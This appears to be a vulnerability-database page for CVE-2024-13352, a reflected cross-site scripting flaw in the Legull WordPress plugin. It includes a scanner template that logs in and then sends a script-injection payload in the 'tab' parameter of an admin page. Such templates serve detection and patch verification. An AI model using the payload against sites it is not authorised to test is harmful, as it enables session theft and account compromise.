Legull WordPress - Cross-Site Scripting
CVE-2024-13352
Verified
Description
Legull WordPress plugin <= 1.2.2 contains a reflected cross-site scripting caused by unsanitized parameter output, letting attackers execute arbitrary scripts in the context of high privilege users, exploit requires victim to click malicious link.
Severity
High
CVSS Score
7.1
Exploit Probability
3%
Published Date
February 6, 2026
Template Author
sourabh-sahu
CVE-2024-13352.yaml
id: CVE-2024-13352
info:
name: Legull WordPress - Cross-Site Scripting
author: Sourabh-Sahu
severity: high
description: |
Legull WordPress plugin <= 1.2.2 contains a reflected cross-site scripting caused by unsanitized parameter output, letting attackers execute arbitrary scripts in the context of high privilege users, exploit requires victim to click malicious link.
impact: |
Attackers can execute arbitrary scripts in the context of high privilege users, potentially leading to account compromise or data theft.
remediation: |
Update to the latest version of the plugin where the vulnerability is fixed.
reference:
- https://wpscan.com/vulnerability/2c141cc0-f79e-42bd-97a6-98829647104c/
- https://nvd.nist.gov/vuln/detail/CVE-2024-13352
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
cvss-score: 7.1
cve-id: CVE-2024-13352
cwe-id: CWE-79
epss-score: 0.02838
epss-percentile: 0.86384
cpe: cpe:2.3:a:alwayscurious:legull:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 2
tags: cve,cve2024,wordpress,wp-plugin,xss,legull
flow: http(1) && http(2)
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
Cookie: wordpress_test_cookie=WP%20Cookie%20check
log={{username}}&pwd={{password}}&wp-submit=Log+In&redirect_to={{RootURL}}/wp-admin/&testcookie=1
matchers:
- type: dsl
dsl:
- status_code == 302
- contains(header, "wordpress_logged_in")
condition: and
internal: true
- raw:
- |
GET /wp-admin/admin.php?page=legull_terms&tab=%27%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E%3Cscript%3E` HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- status_code == 200
- contains_all(body, "></script><script>alert(document.domain)</script><script>`")
condition: and
# digest: 4a0a00473045022100debd3422566f8659f86cc6827beb8d428c87c2cbd6547043cb7609a7133a191d02202226fbc6bb785ef257c1bf78d42b5002be1685f4c7793bf8886175eb3109fe6f:922c64590222798bb761d5b6d8e729507.1Score
CVSS Metrics
CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
CVE ID:
cve-2024-13352
CWE ID:
cwe-79
Remediation Steps
Update to the latest version of the plugin where the vulnerability is fixed.